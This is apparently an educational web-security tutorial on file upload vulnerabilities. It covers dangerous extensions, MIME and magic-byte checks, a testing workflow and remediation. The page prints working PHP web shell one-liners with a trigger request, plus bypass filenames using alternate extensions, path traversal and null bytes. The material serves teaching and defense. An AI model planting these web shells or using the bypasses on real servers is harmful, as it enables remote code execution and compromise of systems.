Skip to content

File Upload Vulnerabilities

File upload vulnerabilities occur when an application allows users to upload files without properly validating the file name, type, content, size, or storage location.

A vulnerable upload feature can lead to information disclosure, stored XSS, denial of service, file overwrite, or remote code execution.

Warning

Test file upload behavior only in authorized labs or approved assessment scopes.

Overview

File upload features are common in web applications.

Examples:

  • Profile pictures
  • PDF uploads
  • Resume uploads
  • Support ticket attachments
  • Image galleries
  • Document management systems
  • Import features

A file upload is risky because the application accepts attacker-controlled content and stores it on the server.

What Can Go Wrong

A secure upload feature must control several things.

Check Risk if Missing
File extension Executable scripts may be uploaded
MIME type Client-controlled type may be trusted
File contents Non-image files may be disguised as images
File size Large uploads may cause denial of service
File name Path traversal or overwrite risk
Storage path Uploaded files may be executable
Permissions Uploaded files may be run by the server

Dangerous File Types

Dangerous extensions depend on the server technology.

Technology Dangerous Extensions
PHP .php, .php5, .phtml
ASP.NET .aspx, .ashx, .asmx
Java .jsp, .jspx
Python .py in some configurations
Server config .htaccess, web.config

Safe upload handling depends on the server configuration. An extension that is harmless on one server may be executable on another.

Web Shells

A web shell is a server-side script that allows command execution or file interaction through HTTP requests.

If an attacker uploads a script and the server executes it, the impact can be severe.

Possible impact:

  • Read files
  • Modify files
  • Delete files
  • Execute commands
  • Exfiltrate secrets
  • Access databases
  • Pivot further into internal systems

Simple PHP Web Shell Examples

A file-read example:

<?php echo file_get_contents('/path/to/target/file'); ?>

A command-execution example:

<?php echo system($_GET['command']); ?>

Example request to trigger it in a lab:

GET /uploads/shell.php?command=id HTTP/1.1
Host: vulnerable.example

Danger

A web shell can give an attacker control over the web server process. Never upload or execute web shells outside authorized lab environments.

Extension Validation Bypass

Some applications block obvious extensions but allow alternative executable extensions.

Examples:

shell.php
shell.php5
shell.phtml
shell.phar

If only .php is blocked, another extension may still execute depending on server configuration.

MIME Type Bypass

Applications may trust the Content-Type header.

Example:

Content-Type: image/png

But this header is controlled by the client and can be modified.

A malicious upload may claim to be an image while containing script content.

Magic Bytes and File Content

Some applications check the first bytes of a file.

Examples:

File Type Common Magic Bytes
PNG 89 50 4E 47
JPEG FF D8 FF
GIF 47 49 46 38
PDF %PDF

Attackers may try to create polyglot files that satisfy weak content checks while still containing executable content.

File Name Issues

Unsafe file names can create additional vulnerabilities.

Examples:

../../../shell.php
../../../../var/www/html/shell.php
avatar.php
avatar.php%00.png
avatar.jpg.php

Risks:

  • Path traversal
  • File overwrite
  • Extension confusion
  • Null byte bypass in legacy systems
  • Special character issues
  • Predictable file paths

Upload Location

Even if an application accepts a dangerous file, it may not be exploitable unless the attacker can access or execute it.

Important questions:

  • Where is the file stored?
  • Is the upload directory web-accessible?
  • Does the server execute scripts there?
  • Are uploaded files renamed?
  • Are permissions restricted?
  • Is the file served from a separate domain or static storage?

Safer pattern:

Uploads stored outside web root
Files served through controlled download handler
Scripts disabled in upload directory
Randomized server-side file names

Common Testing Workflow

  1. Upload a normal allowed file.
  2. Observe the request and response.
  3. Identify where the file is stored.
  4. Check whether the file is accessible.
  5. Test extension restrictions.
  6. Test MIME type validation.
  7. Test file content validation.
  8. Test file name handling.
  9. Test size limits.
  10. Confirm impact safely.

Example normal upload request:

POST /upload HTTP/1.1
Host: vulnerable.example
Content-Type: multipart/form-data; boundary=----Boundary123

------Boundary123
Content-Disposition: form-data; name="file"; filename="avatar.png"
Content-Type: image/png

[image data]
------Boundary123--

Remediation

Secure file upload handling should use multiple controls.

Recommended defenses:

  • Allowlist safe extensions.
  • Validate file contents, not just extension.
  • Rename files server-side.
  • Store files outside the web root.
  • Disable script execution in upload directories.
  • Enforce file size limits.
  • Strip dangerous metadata where appropriate.
  • Use random file names.
  • Do not trust client-supplied MIME types.
  • Scan uploads for malware when appropriate.
  • Serve files with safe Content-Type.
  • Add Content-Disposition: attachment for downloads when needed.
  • Apply authorization checks before file access.

Safer Upload Rules

Example safer approach:

Accept only .jpg, .png, .pdf
Verify file signature
Rename to random UUID
Store outside web root
Record metadata in database
Serve through authenticated download route
Disable execution permissions

Quick Reference

Issue Example Impact
Executable upload shell.php Remote code execution
MIME trust Content-Type: image/png Filter bypass
Weak extension block .phtml allowed Script execution
Path traversal filename ../../../file File overwrite or write outside directory
Large upload Huge file Denial of service
Public upload directory /uploads/file.php Direct execution

Notes to Remember

  • File uploads are dangerous because they store attacker-controlled content.
  • Extension checks alone are not enough.
  • MIME type is client-controlled.
  • Uploaded files should not execute as code.
  • Store uploads outside the web root when possible.
  • Rename files on the server.
  • Validate file content and enforce size limits.
  • Web shells can lead to remote code execution.